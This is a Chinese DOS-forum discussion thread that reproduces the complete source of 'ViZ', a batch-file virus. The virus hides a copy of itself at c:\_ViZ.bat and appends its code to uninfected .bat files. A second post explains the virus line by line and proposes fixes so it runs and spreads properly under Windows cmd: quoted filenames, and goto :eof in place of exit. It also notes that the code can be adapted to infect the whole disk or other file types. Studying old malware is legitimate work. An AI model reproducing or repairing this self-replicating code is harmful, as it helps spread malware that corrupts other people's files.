中国DOS联盟论坛

中国DOS联盟

-- 联合DOS 推动DOS 发展DOS --

联盟域名:www.cn-dos.net  论坛域名:www.cn-dos.net/forum
DOS,代表着自由开放与发展,我们努力起来,学习FreeDOS和Linux的自由开放与GNU精神,共同创造和发展美好的自由与GNU GPL世界吧!

游客:  注册 | 登录 | 命令行 | 会员 | 搜索 | 上传 | 帮助 »
中国DOS联盟论坛 » DOS批处理 & 脚本技术(批处理室) » [讨论]knowdeth的一段代码:感染当前目录下所有bat文件
作者:
标题: [讨论]knowdeth的一段代码:感染当前目录下所有bat文件 上一主题 | 下一主题
lhjoanna
新手上路





积分 10
发帖 3
注册 2008-11-11
状态 离线
『楼 主』:  [讨论]knowdeth的一段代码:感染当前目录下所有bat文件

从网上看到的knowdeth的一段代码,其中有一些代码还理解不是很透彻,欢迎大家一起来讨论下啊。源程序地址:http://vx.netlux.org/lib/vkd01.html

  Quote:
1| :: [ViZ] by -KD- of Metaphase
2| @echo off%_ViZ%
3| if '%1=='ViZ goto ViZ%2
4| if exist c:\_ViZ.bat goto ViZstart
5| if not exist %0.bat goto ViZexit
6| find "ViZ"<%0.bat>c:\_ViZ.bat
7| attrib c:\_ViZ.bat +h
8| :ViZstart
9| if '%!ViZ%=='- goto ViZexit
10| set !ViZ=%!ViZ%-
11| command /e:5000 /c c:\_ViZ ViZ v
12| :DaViZ
13| goto ViZexit
14| :ViZv
15| for %%a in (*.bat) do call c:\_ViZ ViZ inf %%a
16| exit ViZ
17| :ViZ_inf
18| find "ViZ"<%3>nul
19| if not errorlevel 1 goto ViZlevel
20| type c:\_ViZ.bat>>%3
21| exit ViZ
22| :ViZlevel
23| set ViZ!=%ViZ!%-
24| if %ViZ!%==- exit
25| :ViZexit



2009-1-9 03:38
查看资料  发送邮件  发短消息 网志   编辑帖子  回复  引用回复
lhjoanna
新手上路





积分 10
发帖 3
注册 2008-11-11
状态 离线
『第 2 楼』:  

我会一行一行写出自己的理解,大家一起来讨论下。
第一行:列出一些信息。

第二行:对于%echo off%大家都很熟悉,可是后面怎么多了个%_ViZ%,别着急,继续往下看。

第三行:if '%1=='ViZ goto ViZ%2 %1不是第一个参数吗?可是现在还没有参数啊,这是何意?把问题留在脑中,继续往下看。

第四行:if exist c:\_ViZ.bat goto ViZstart  此时还不存在c:\_ViZ.bat,此行不执行。

第五行:if not exist %0.bat goto ViZexit  同样的,也不存在%0.bat,继续执行。注:此时有一点问题,cmd下%0已经包含.bat了,故此应该改为%0,去掉.bat。

第六行:find "ViZ"<%0.bat>c:\_ViZ.bat 。同样先把.bat去掉再来看,find "ViZ"<%0>c:\_ViZ.bat。此句直接理解就是把当前程序代码中的所有包含"ViZ"的行写入c:\_ViZ.bat中,这又是何意?仔细一看,原来此代码中所有行都包含ViZ,这样就理解了吧。此句意思就是把程序自身复制到c盘根目录下。这也就是为什么KD在许多行加一些看似无意义的ViZ。

第七行:attrib c:\_ViZ.bat +h  不用解释了,加隐藏属性。

第八行:一个标签

第九行:if '%!ViZ%=='- goto ViZexit  猛一看觉得很复杂,其实就是判断一个变量!ViZ是否等于'-'。

第十行:set !ViZ=%!ViZ%- 这句大家肯定也经常用,看这个:set str=%str%OK,很熟悉吧。

第11行:command /e:5000 /c c:\_ViZ ViZ v  此句我之前没有接触过,只知道command.exe是98下带的,xp已经换为cmd。不过可以推测出此句的大意:在一个新的命令环境中运行刚才在c盘下建立的bat文件,/c是运行完毕后就返回。我们在cmd下可以直接用call c:\_ViZ.bat ViZ v来实现。这句话什么意思呢?运行c:\_ViZ.bat,提供的参数%1为ViZ,%2为v。C盘下的程序是此程序的复制品,当然和此程序一样。大家从此程序头看起,明白了吧。运行到第三行的if '%1=='ViZ goto ViZ%2 后直接跳到标签:ViZv处。也就是第14行。

第12行:12、13行一起来看,指运行完程序后就直接退出。程序运行到这里,是主程序运行完毕,下面的几个标签上面的分支。

第15行:for %%a in (*.bat) do call c:\_ViZ ViZ inf %%a 此句为核心代码,此程序即通过此句来感染当前文件下的bat文件。当然你可以修改为感染全盘的,或者感染其他格式的文件等等。看do后面的call c:\_ViZ ViZ inf %%a,有了刚才的解释,此句就很容易了吧。此句执行后即跳到标签ViZinf处。即第17行。注:此句有不完善之处,若当前目录下有文件名带空过的bat会引起后面的参数%%a传递的错误。改为:for /f "delims=" %%a in (*.bat) do call c:\_ViZ.bat ViZ inf "%%a"。

第16行:exit在纯dos下为退出当前环境,在cmd即为关闭命令提示符。

第17行::ViZ_inf 应该是KD笔误吧,此标签应该为ViZinf。

第18行:find "ViZ"<%3>nul与第19行一起理解。此处%3即为第15行的%%a,同样的原因,此句改为find "ViZ"<"%~3">nul。即如果即将被感染的bat文件中包含ViZ字符则跳到标签Vizlevel,看一下第19行的标签下程序即知道为退出。呵呵,看来病毒也是有感情的啊,自己名字叫ViZ(见第一行),对于包含字符"ViZ"的文件会手下留情呢。

第20行:type c:\_ViZ.bat>>%3 此句即为感染的执行代码。即往被感染bat中添加自身代码。同样此句为 typec:\_ViZ.bat>>"%~3"。

第21行:exit ViZ要注意,KD是在纯dos下用exit来使一次循环结束后返回,cmd下应改为:goto :eof ViZ,否则,只感染当前目录下一个文件就结束了。

第22行至最后 退出程序。可能是我还没理解透彻,直接exit即可,不知为何还要麻烦的设置变量。反观第10行,可能是对某个信息的判断,还是纯dos另有隐情?还望大家一起来探讨啊。


   此帖被 +7 点积分      点击查看详情   
评分人:【 moniuming 分数: +7  时间:2009-1-9 15:24


2009-1-9 03:39
查看资料  发送邮件  发短消息 网志   编辑帖子  回复  引用回复

请注意:您目前尚未注册或登录,请您注册登录以使用论坛的各项功能,例如发表和回复帖子等。


可打印版本 | 推荐给朋友 | 订阅主题 | 收藏主题



论坛跳转: